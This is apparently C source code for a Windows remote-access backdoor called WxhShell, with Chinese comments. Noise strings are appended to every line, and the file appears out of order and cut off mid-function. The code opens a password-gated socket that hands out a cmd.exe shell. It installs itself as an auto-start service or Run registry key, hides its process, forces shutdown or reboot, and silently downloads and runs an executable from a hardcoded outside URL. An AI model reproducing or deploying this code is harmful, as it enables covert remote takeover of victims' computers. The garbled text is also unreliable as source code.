    break; !yAlb#yu  
    } 0ut/ ')[  
  // 关机 ;Awt:jF  
  case 'd': { 5B3S]@%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3 @XkO  
    if(Boot(SHUTDOWN)) ! 6yo D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0rM 4"1  
    else { ^_FB .y%  
    closesocket(wsh); ^|yw)N]Q/  
    ExitThread(0); UH=pQm ^W  
    } M0[7>N _  
    break; |sd0fTK  
    } _t[RHrs  
  // 获取shell >Micc   
  case 's': { L{H` t{ A  
    CmdShell(wsh); qN h:;`  
    closesocket(wsh); },9Hq~TA  
    ExitThread(0); Y r6wYs(%  
    break; y8"8QH  
  } pR6mS fer  
  // 退出 9 ?"]dEM  
  case 'x': { " `rkp=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Le#>uWM  
    CloseIt(wsh); ,CiN@T \&  
    break; 0 XV8 B  
    } ,PH;j_  
  // 离开 OwXw9  
  case 'q': { &AR@5M u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? <b>2j  
    closesocket(wsh); P|,@En 1!  
    WSACleanup(); 'Fi\Qk'D@  
    exit(1); jWHv9XtW  
    break; sPMCN's  
        } wLn,x;;<  
  } M*M,Z  
  } ykFm$ 0m+I  
]PWK^-4P  
  // 提示信息 '1'#,u!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K q;X(&Z  
} v@_}R_pX  
  } D@9adwQb  
)+;Xfftz  
  return; W"j&':xD  
} ;S Re`  
(+SfDL$m  
// shell模块句柄 :x"Q[079  
int CmdShell(SOCKET sock) b CWSh~  
{ -'SpSy'_  
STARTUPINFO si; OV<'v%_&  
ZeroMemory(&si,sizeof(si)); X>}-UHKV+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IM-O<T6r[N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +<#0V!DM  
PROCESS_INFORMATION ProcessInfo; Zy !^HS$  
char cmdline[]="cmd"; (jj=CLe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sfb)iH|sW  
  return 0; u-v/`F2wN  
} L1P.@hJ  
n*twuB/P 1  
// 自身启动模式 #0OW0:Q  
int StartFromService(void) XMt)\r.  
{ 5d ?\>dA  
typedef struct ?K5S{qG'O  
{ v6uXik  
  DWORD ExitStatus; sa8Q1i&%  
  DWORD PebBaseAddress; .%~m|t+Rt  
  DWORD AffinityMask; [PXv8K%]p  
  DWORD BasePriority; Uwj|To&QR  
  ULONG UniqueProcessId; Y!!w*G9b  
  ULONG InheritedFromUniqueProcessId; PfF5@W;E;  
}   PROCESS_BASIC_INFORMATION; !2 YvG%t^6  
GYp}V0  
PROCNTQSIP NtQueryInformationProcess; "d1~(0=6<m  
Cp!bsasj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e`]x?t<U4/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k*xMe-  
d v8q&_  
  HANDLE             hProcess; 2'>  
  PROCESS_BASIC_INFORMATION pbi; Y52f8qQq  
{|!> {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2%!yV~Z  
  if(NULL == hInst ) return 0; r.WQ6h/eZ5  
Fa ]|Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `i~kW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o8uak*"{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yLpsK[)}\  
sVT:1 kI  
  if (!NtQueryInformationProcess) return 0; qYba%g9RN(  
&YiUhK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SM? rss.=  
  if(!hProcess) return 0; c&> S  
NW=gi qB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 92F 9)S{"  
(:|g"8mQm  
  CloseHandle(hProcess); QOT|6)Yb  
qDlh6W?}k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V -X*e  
if(hProcess==NULL) return 0; \mp2LICQg  
BIQQJLu  
HMODULE hMod; 7+'&(^c  
char procName[255]; zCz"[9k  
unsigned long cbNeeded; uV=ZGr#o  
C-2{<$2k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YY4XCkt  
k-CW?=  
  CloseHandle(hProcess); }Od=WQv+  
#(Xv\OE  
if(strstr(procName,"services")) return 1; // 以服务启动 z^,P2kqK_  
bukdyo;l  
  return 0; // 注册表启动 s:/Wz39SY3  
} #[odjSb  
$j(laD#AR  
// 主模块 ]H {g/C{j  
int StartWxhshell(LPSTR lpCmdLine) QgF2f/;!  
{ #MyF 1E  
  SOCKET wsl; 8wH1x .  
BOOL val=TRUE; ^n%9Tu  
  int port=0; \281X  
  struct sockaddr_in door; ka c-@  
i;l0)q  
  if(wscfg.ws_autoins) Install(); /#Gm`BT  
~pt#'65}:  
port=atoi(lpCmdLine); xoe/I[P]U  
+T8h jOkC  
if(port<=0) port=wscfg.ws_port; z*ly`-!  
D~Rv"Hh  
  WSADATA data; Tebu?bj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '/U%-/@  
VX6M4<8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'hNRIM1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V*,6_ -^l  
  door.sin_family = AF_INET; *KYh_i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uY;7&Lw y1  
  door.sin_port = htons(port); K3;~|U-l  
Xs Ey8V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c&"OhzzJK'  
closesocket(wsl); ET\>cxSp  
return 1; M`D`-vv  
} 4p6\8eytq.  
8+mu'RZ X  
  if(listen(wsl,2) == INVALID_SOCKET) { W.sH  
closesocket(wsl); /Z1>3=G by  
return 1; oAt{ #v  
} {>h,@  
  Wxhshell(wsl); Dzr(Fb  
  WSACleanup(); iezY+`x4  
MA+{7 [  
return 0; nd)`G$gL  
jBr3Ay@<  
} .22}= z  
:G4)edwe  
// 以NT服务方式启动 "ivSpec.V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]N^>>k  
{ 0f;`Zj0l8  
DWORD   status = 0; R^VmNj  
  DWORD   specificError = 0xfffffff; Ae8P'FWB>  
[A'9sxG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ijeas<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $wm8N.I3I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K<vb4!9Z9  
  serviceStatus.dwWin32ExitCode     = 0; G\C>fwrP_  
  serviceStatus.dwServiceSpecificExitCode = 0; j&l2n2z  
  serviceStatus.dwCheckPoint       = 0; @$7l  
  serviceStatus.dwWaitHint       = 0; O_P8OA#|  
fX/k;0l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4c,{Js  
  if (hServiceStatusHandle==0) return; 91oAg[@4G  
,R*YI  
status = GetLastError(); &`B Tw1u  
  if (status!=NO_ERROR) 7J|e L yj  
{ 3e?a$~9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \Lz4ZZjSY  
    serviceStatus.dwCheckPoint       = 0; `ZPV.u/  
    serviceStatus.dwWaitHint       = 0; a=r^?q'/  
    serviceStatus.dwWin32ExitCode     = status; eMOnzW|h  
    serviceStatus.dwServiceSpecificExitCode = specificError; }&Ul(HR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JPM W|JT  
    return; Clmz}F  
  } ?{(Jy*  
P"s7}cl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nC@UK{tVa  
  serviceStatus.dwCheckPoint       = 0; xG8z4Yu   
  serviceStatus.dwWaitHint       = 0; w1,6%?p(O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8;fi1 "F;}  
} &d6  
+"3K)9H  
// 处理NT服务事件,比如:启动、停止 %Hpz^<`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t }>"nr0  
{  t@+z r3  
switch(fdwControl) 4>Y\Y$3  
{ NGAjajB  
case SERVICE_CONTROL_STOP: %&&;06GU}  
  serviceStatus.dwWin32ExitCode = 0; *k !zdV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Uq=!>C8  
  serviceStatus.dwCheckPoint   = 0; 8?[#\KgH1  
  serviceStatus.dwWaitHint     = 0; 6B&ERdoX  
  { kWxcB7)uk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %R-KkK<S  
  } FQO>%=&4  
  return; HyJ&;4rf  
case SERVICE_CONTROL_PAUSE: q/3 )yG6s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; - %`iLu  
  break; *:,y`!F=y  
case SERVICE_CONTROL_CONTINUE: _Bq[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q:3HU<  
  break; lk%W2N5  
case SERVICE_CONTROL_INTERROGATE: /F_(&H!m  
  break; q":0\ar&QT  
}; } !1pA5x$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Na>?1F"KHk  
} B+n(K+  
:=2l1Y[-G  
// 标准应用程序主函数 .*c%A^>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l^4!  
{ la*c/*  
(nt=  
// 获取操作系统版本 q|xic>.  
OsIsNt=GetOsVer(); )kt,E}609  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O;SD90  
iNEE2BPp  
  // 从命令行安装 @WO>F G3  
  if(strpbrk(lpCmdLine,"iI")) Install(); {PQ!o^7y  
$#HUxwx4  
  // 下载执行文件 Sj9NhtF]f  
if(wscfg.ws_downexe) { M|\C@,F]8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |s{[<;  
  WinExec(wscfg.ws_filenam,SW_HIDE); |C3~Q{A  
} {on+ ;,  
Jsw%.<  
if(!OsIsNt) { Bw*6X` 'Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 c@)}zcw*  
HideProc(); lArDOFl]x  
StartWxhshell(lpCmdLine); YY9Ub  
} ;eiqzdP  
else )NCSO b  
  if(StartFromService()) [LrA_N  
  // 以服务方式启动 L7 g4'  
  StartServiceCtrlDispatcher(DispatchTable); U=>4=gsG  
else Z*M-PaU}  
  // 普通方式启动 # NR 9\  
  StartWxhshell(lpCmdLine); 8~eYN- #W&  
I+FQ2\J*H  
return 0; (  V H0+  
} v@;!fBUt  
(g#,AX  
$S{]` +  
jLgx(bMn  
=========================================== e2*Fe9:  
Bw8&Amxx:  
WJ m:?,  
OE_>Kw7q  
}q<%![%  
0\Ga&Q0-(O  
" V;>u()  
E@D}Sqt  
#include <stdio.h> q3$;lLsb;j  
#include <string.h> wwh)B92Y5  
#include <windows.h> @Yy']!Ju  
#include <winsock2.h> H/BU2sa  
#include <winsvc.h> b8TwV_&|X  
#include <urlmon.h> 5$Aiez~tBq  
=~F.7wq*^  
#pragma comment (lib, "Ws2_32.lib") DTp|he  
#pragma comment (lib, "urlmon.lib") 6n5>{X  
HA::(cXL  
#define MAX_USER   100 // 最大客户端连接数 HT6+OK(~dJ  
#define BUF_SOCK   200 // sock buffer 3m59EI-p  
#define KEY_BUFF   255 // 输入 buffer -3eHJccB  
)kuw&SH,  
#define REBOOT     0   // 重启 E1V;eoK.D  
#define SHUTDOWN   1   // 关机 XY1b_uY  
`o,D[Jd  
#define DEF_PORT   5000 // 监听端口 LSN%k5G7.  
Tv`-h  
#define REG_LEN     16   // 注册表键长度 PXJ`<XM  
#define SVC_LEN     80   // NT服务名长度 +oe%bk|A  
84UI)nE:Q  
// 从dll定义API ?~s23%E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _M9-n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7l|D!`BS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v|K<3@J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2[Q/|D}}|  
GPVqt"TY  
// wxhshell配置信息 PTFe>~vr*  
struct WSCFG { M~#% [?iU  
  int ws_port;         // 监听端口 7n*[r*$  
  char ws_passstr[REG_LEN]; // 口令 ~f:jI1(}  
  int ws_autoins;       // 安装标记, 1=yes 0=no |m /XGr  
  char ws_regname[REG_LEN]; // 注册表键名 ';OZP2  
  char ws_svcname[REG_LEN]; // 服务名 a>/cVu'kz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GUqhm$6a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  wk (}q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a0=5G>G9c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5Sfz0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KD)+& 69  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cp\A xWtUZ  
|jwN8@  
}; p.J+~s4G  
{9yW8&m  
// default Wxhshell configuration Z2wgfP`  
struct WSCFG wscfg={DEF_PORT, A3=$I&!%  
    "xuhuanlingzhe", 35X4] t  
    1, f*Dy>sw  
    "Wxhshell", |)\{Rufb  
    "Wxhshell", 4_B1qN  
            "WxhShell Service", BO 3%p  
    "Wrsky Windows CmdShell Service", Lavm  
    "Please Input Your Password: ", Q'n]+%YN  
  1, !mtq?LV  
  "http://www.wrsky.com/wxhshell.exe", Rr0@F`"R  
  "Wxhshell.exe" r:*0)UZlD  
    }; %.3] F2_Q  
IoI ,IX]i)  
// 消息定义模块 98^o9i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (hv>vfY@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =fZMute  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >84:1 `  
char *msg_ws_ext="\n\rExit."; P-c<[DSM'I  
char *msg_ws_end="\n\rQuit."; 3~&h9#7 Ke  
char *msg_ws_boot="\n\rReboot..."; :4, OA  
char *msg_ws_poff="\n\rShutdown..."; ( @y te  
char *msg_ws_down="\n\rSave to "; QY]G+3W  
3vK,vu q  
char *msg_ws_err="\n\rErr!"; c5e  wG  
char *msg_ws_ok="\n\rOK!"; ;[>g(W+  
hRWRXC 9  
char ExeFile[MAX_PATH]; J&bhR9sF  
int nUser = 0; rBY{&JhS  
HANDLE handles[MAX_USER]; |KQkmc  
int OsIsNt; j(SBpM  
uqMe %  
SERVICE_STATUS       serviceStatus; 5Sm)+FC :  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @<W^/D1#L  
/K2=GLl;  
// 函数声明 !<P|:Oo*Dl  
int Install(void); E6FT*}Q  
int Uninstall(void); mtQlm5l  
int DownloadFile(char *sURL, SOCKET wsh); ejuw+@ _  
int Boot(int flag); k_}aiHdG  
void HideProc(void); Im*~6[  
int GetOsVer(void); Zg#VZg1 2  
int Wxhshell(SOCKET wsl); 5/>W(,5}  
void TalkWithClient(void *cs); PF4"J^V  
int CmdShell(SOCKET sock); F:o<E 42  
int StartFromService(void); Qso"jYl<  
int StartWxhshell(LPSTR lpCmdLine); hn@T ]k  
3?rYt:Uf!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8w|-7$ v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8^FAeV#  
F3L'f2yBG  
// 数据结构和表定义 klKd !  
SERVICE_TABLE_ENTRY DispatchTable[] = u{_jweZ  
{ 9gLUM$Kd  
{wscfg.ws_svcname, NTServiceMain}, h *JzJ0X  
{NULL, NULL} NLLLt  
}; O5:2B\B  
=Hs[peO*  
// 自我安装 }j. [h;C6  
int Install(void) 6HyndB^  
{ !y{t}|U/d  
  char svExeFile[MAX_PATH]; wC~ra:/?:7  
  HKEY key; 4tb y N  
  strcpy(svExeFile,ExeFile); _poe{@h!  
AM ZWPU  
// 如果是win9x系统,修改注册表设为自启动 'l| e}eti>  
if(!OsIsNt) { J"&jR7-9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WLe9m02r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Ib/Cm0d|  
  RegCloseKey(key); E =7m@"0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I|#1u7X%]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \~#$$Q-qtU  
  RegCloseKey(key); ;HOOo>%_K  
  return 0; ]tzO)c)w;  
    } zL<<`u?  
  } [ 4_JK  
} RrPo89o  
else { +TQMA >@g<  
!k= ~5)x  
// 如果是NT以上系统,安装为系统服务 TL?(0]H fe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #`>46T  
if (schSCManager!=0) #s-^4znv9  
{ dD Zds k+!  
  SC_HANDLE schService = CreateService HaUfTQ8  
  (  d Xiv8B1  
  schSCManager, xp4w9.X5(  
  wscfg.ws_svcname, yl=_ /'*  
  wscfg.ws_svcdisp, UY!N"[&  
  SERVICE_ALL_ACCESS, E_[)z%&n2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *61+Fzr  
  SERVICE_AUTO_START, q*^F"D:?k  
  SERVICE_ERROR_NORMAL, 4%3R}-'mh  
  svExeFile, S-8wL%r  
  NULL, JF vVRGWB  
  NULL, RKY~[IQ,  
  NULL, 9EE},D  
  NULL, P9\!JH!  
  NULL Y}/e" mp  
  ); `a!:-.:v  
  if (schService!=0) !p4y@U{  
  { ]ZB^Hi_  
  CloseServiceHandle(schService); (|F} B  
  CloseServiceHandle(schSCManager); c)HHc0KD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pa{)@xT  
  strcat(svExeFile,wscfg.ws_svcname); J*lKXFq7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l|O)B #  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Mm9QF;iA  
  RegCloseKey(key); GomTec9.  
  return 0; (61_=,jv\h  
    } ^zMME*G  
  } A@W/  
  CloseServiceHandle(schSCManager); [CBhipoc  
} QBNnvg4v  
} b~1]}9TJ  
g@va@*|~d  
return 1; 0!:1o61  
} &7{/ x~S{  
JMUk=p<\  
// 自我卸载 B4<W%lm  
int Uninstall(void) '>}dqp{Wr  
{ $8{|25 *E  
  HKEY key; QEavbh^S  
@-~ )M_  
if(!OsIsNt) { Q UQ"2oC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m5G9 B-\?  
  RegDeleteValue(key,wscfg.ws_regname); 4TBK:Vm5  
  RegCloseKey(key); {G+pI2^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O%g%*9  
  RegDeleteValue(key,wscfg.ws_regname); X/ \5j   
  RegCloseKey(key); $ON4 nx  
  return 0; abHW[VP9  
  } Vu%XoI)<KY  
} Nvlfi8.  
} $ylQ \Y'  
else { \G3 P[E[  
j=%^CRum  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HywT  
if (schSCManager!=0) n>_EE w2/  
{ :N826_q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6(Qr!<  
  if (schService!=0) tj:Q]]\M  
  { b)SU8z!NV&  
  if(DeleteService(schService)!=0) { N34.Bt  
  CloseServiceHandle(schService); #SHmAB  
  CloseServiceHandle(schSCManager); Xm|Uz`A;  
  return 0; f1a >C  
  } PJ=N.x f}  
  CloseServiceHandle(schService); N(%%bHi#V  
  } ii.L]#3y  
  CloseServiceHandle(schSCManager); bN ,>,hj  
} %<g(EKl  
} 6 N%fJ   
C)7T'[  
return 1; +B 4&$z  
} WMo   
YpAJ7 E|7  
// 从指定url下载文件 "k8Yc<`u  
int DownloadFile(char *sURL, SOCKET wsh) b.`<T "y  
{ X `[P11`  
  HRESULT hr; JQ>GKu~  
char seps[]= "/"; NV|[.g=lg  
char *token; 6z/ct|n  
char *file; [3yzVcr~4  
char myURL[MAX_PATH]; 4k HFfc  
char myFILE[MAX_PATH]; RGeM.  
:QndeUw  
strcpy(myURL,sURL); -:hiLZJ7-  
  token=strtok(myURL,seps); <K~> :4c  
  while(token!=NULL) F/"Q0%(m  
  { "Ih>>|r  
    file=token; >q'xW=Y j\  
  token=strtok(NULL,seps); 3f u*{8.XZ  
  } ^J?ExMu  
hmA$gR_  
GetCurrentDirectory(MAX_PATH,myFILE); z/JoU je  
strcat(myFILE, "\\"); ArFsr  
strcat(myFILE, file); Kk}|[\fW  
  send(wsh,myFILE,strlen(myFILE),0); <Rs#y:  
send(wsh,"...",3,0); }~?B>vZS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n21Pfig  
  if(hr==S_OK) s`j QX\{  
return 0; Quc,,#u  
else F:PaVr3q  
return 1; 7,i}M  
0ssKZ9Lc  
} *V\z]Dy-[  
N1lhlw6  
// 系统电源模块 9`"o,wGX3  
int Boot(int flag) I)xB I~x  
{ Qy)+YhE  
  HANDLE hToken; Xq3n7d.  
  TOKEN_PRIVILEGES tkp; =!axQ[)A  
thoAEG80  
  if(OsIsNt) { 7}r!&Eb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TZ`@pDi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); egBjr?  
    tkp.PrivilegeCount = 1; Qz T>h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $Hx00 ho  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q?f%]uGFQ  
if(flag==REBOOT) { }(g`l)OX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Yi)r*LI3  
  return 0; dmq<vVxC  
} tSST.o3  
else { C~do*rnM^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i+/:^tc;  
  return 0; )Ir_:lk  
} ZS&n,<a5L}  
  } -=W"  
  else { hK!Z ~  
if(flag==REBOOT) { :$bp4+3>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;j#$d@VG"  
  return 0; f8ap+][  
} ?'xTSAn  
else { "6T: &>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;l^4/BR  
  return 0; {U$qxC]M  
} v&6=(k{E@R  
} hjuzVOE|W  
u N%RB$G  
return 1; V#j|_N1hm  
} Gj[+{  
MA:2]l3e  
// win9x进程隐藏模块 4_CV.?  
void HideProc(void) /UJ@e  
{ 87/!u]q  
9n$0OH /q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A),nkw0X  
  if ( hKernel != NULL ) Mo+ mO&B  
  { NDG3mCl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tMN^"sjf*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~, hPi  
    FreeLibrary(hKernel); / 38b:,  
  } 8 S'g%  
J 4$^Hr  
return; !J34yro+s  
} Rp~#zt9:  
=1dU~B:Lm  
// 获取操作系统版本 OSQt:58K  
int GetOsVer(void) 5:jbd:o  
{ P);: t~  
  OSVERSIONINFO winfo; 5rAI[r 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m oQ><>/  
  GetVersionEx(&winfo); ZE#f{qF(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oB9t&yM  
  return 1; d^"dL" Q6m  
  else #!Iez vWf  
  return 0; _Qy3A T~  
} =AFTB<7-^  
+/A`\9QT  
// 客户端句柄模块 E"ju<q/Q  
int Wxhshell(SOCKET wsl) < bHu9D  
{ UWdPB2x[  
  SOCKET wsh; @PXb^x#k  
  struct sockaddr_in client; B]PTe~n^  
  DWORD myID; H'Mc]zw_,  
"K EB0U  
  while(nUser<MAX_USER) ;().  
{ f%LzWXA  
  int nSize=sizeof(client); Oeo:V"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H].G%,2'  
  if(wsh==INVALID_SOCKET) return 1; UcCkn7}  
s*R \!L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JPS7L}Kv  
if(handles[nUser]==0) MCamc  
  closesocket(wsh); .xtjB8gc  
else B/IPG~aMEZ  
  nUser++; !P7##ho0  
  } -.A8kJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p100dJvq  
20hF2V  
  return 0; K)2ZH@  
} :@PM+[B|Q  
ICNS+KsI  
// 关闭 socket @=[/bG  
void CloseIt(SOCKET wsh) Z+!3m.q  
{ aqvt$u8  
closesocket(wsh); >3H/~ Y  
nUser--; myT z  
ExitThread(0); NI eKS_ +  
} !HA[:-JCz  
|>( @n{  
// 客户端请求句柄 I*e8 5wef  
void TalkWithClient(void *cs) G Q&9b_  
{ r`]&{0}23  
K 7)1wiEj  
  SOCKET wsh=(SOCKET)cs; 0G/VbS  
  char pwd[SVC_LEN]; _(J7^rN  
  char cmd[KEY_BUFF]; {mPalo A  
char chr[1]; }?,Gn]]  
int i,j; I At;?4  
?^i$} .%W  
  while (nUser < MAX_USER) { g-=)RIwm  
tt=?*n  
if(wscfg.ws_passstr) { H'myd=*h~8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GS|sx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T`g.K6$b  
  //ZeroMemory(pwd,KEY_BUFF); T ,, Ao36  
      i=0; DPvM|n`TW  
  while(i<SVC_LEN) { Bcx-t)[  
n{F$,a  
  // 设置超时 ~mc7O  
  fd_set FdRead; ?3!"js B  
  struct timeval TimeOut; iw6qNV:\Z  
  FD_ZERO(&FdRead); @%L4^ms  
  FD_SET(wsh,&FdRead); daT[2M  
  TimeOut.tv_sec=8; kBY54pl  
  TimeOut.tv_usec=0; zdCeOZ 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _8C0z=hz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1xM'5C?~7  
?2VY ^7N[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i^9PiP|U  
  pwd=chr[0]; v}hmI']yf  
  if(chr[0]==0xd || chr[0]==0xa) { Dm/# \y3  
  pwd=0; eqcV70E8cK  
  break; %dTkw+J  
  } P&3'N~k-  
  i++; SCk2D!u  
    } ~U&,hFSPY  
&6A'}9Ch  
  // 如果是非法用户,关闭 socket yH>`Kbf T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #LlHsY530N  
} >:M3!6H_~{  
R}F0_.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !RLg[_'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y@[}FgVOh  
\^iPU 27H  
while(1) { &?^S`V8R*  
E 3b`GRay  
  ZeroMemory(cmd,KEY_BUFF); Y) Y`9u<?  
!oeu  
      // 自动支持客户端 telnet标准   4 vwa/?  
  j=0; >{i/LC^S  
  while(j<KEY_BUFF) { xwa5dtcng  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )/H=m7}1h  
  cmd[j]=chr[0]; mLU4RQ}5  
  if(chr[0]==0xa || chr[0]==0xd) { @cPb*  
  cmd[j]=0; f3e#.jan  
  break; ((A]FOIbO  
  } 8YC\Bw  
  j++; >ir'v5  
    } M:|Z3p K  
H8~<;6W  
  // 下载文件 J#B% #X  
  if(strstr(cmd,"http://")) { @-bX[}.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6k;__@B,  
  if(DownloadFile(cmd,wsh)) 7QP%Pny%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[7jm"Pz  
  else 8DbXv~3@  
